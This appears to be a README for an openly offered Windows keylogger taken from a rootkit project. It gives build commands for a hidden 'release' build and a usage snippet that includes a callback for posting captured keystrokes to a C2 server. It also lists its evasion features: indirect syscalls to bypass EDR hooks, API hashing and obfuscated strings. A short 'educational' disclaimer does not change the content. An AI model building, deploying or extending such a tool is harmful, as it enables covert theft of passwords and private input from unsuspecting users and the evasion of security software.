A Windows keylogger that uses low-level hooks to capture keystrokes system-wide.
Captures every keystroke on a Windows system, including special characters and unicode. It tracks which window is active and logs everything to a file in the temp directory with a random name.
The hook works at the lowest level (WH_KEYBOARD_LL) so it catches everything before applications see it. Right-click or press Enter to flush the buffer immediately.
You need MinGW-w64 or any modern C++ compiler on Windows.
Debug version (shows console):
g++ -c dosyscall.S -o dosyscall.o
g++ -o keylogger_debug.exe main.cpp IndirectSyscalls.cpp APIHashing.cpp dosyscall.o -std=c++17 -Wall -Wextra -O2 -static
Release version (no console, runs hidden):
g++ -c dosyscall.S -o dosyscall.o
g++ -o keylogger.exe main.cpp IndirectSyscalls.cpp APIHashing.cpp dosyscall.o -std=c++17 -Wall -Wextra -O2 -static -mwindows
Or just use the PowerShell script:
.\build.ps1 -Mode Release
Or use Make:
make release
The main.cpp file has a complete example. Basically:
#include "Keylogger.h"
// Start capturing
Keylogger::Start(nullptr, true);
// Keep it running
MSG msg;
while (GetMessage(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
// Clean stop
Keylogger::Stop();If you want to send data to a C2 server instead of just logging to a file, pass a callback function:
void SendToServer(const wstring& data) {
// Your HTTP POST or whatever
}
Keylogger::Start(SendToServer, true);- Uses SetWindowsHookExW with WH_KEYBOARD_LL for keyboard
- WH_MOUSE_LL hook detects right-clicks (triggers immediate send)
- ToUnicodeEx handles unicode properly (accents, symbols, AltGr combos)
- Thread-safe buffer with mutex
- Tracks active window with GetForegroundWindow
- No admin rights needed
- Indirect Syscalls: Direct NT syscall invocation via clean NTDLL (bypass EDR hooks)
- API Hashing: djb2 hash algorithm for runtime API resolution (evades IAT analysis)
- String Obfuscation: AES-128 CTR compile-time encryption with FNV-1a key derivation
Questions or bugs? Open an issue or email 28zaakypro@proton.me
This keylogger is extracted from the full rootkit project: https://github.com/28Zaaky/Usermode-Rootkit
Made for educational and authorized security research purposes.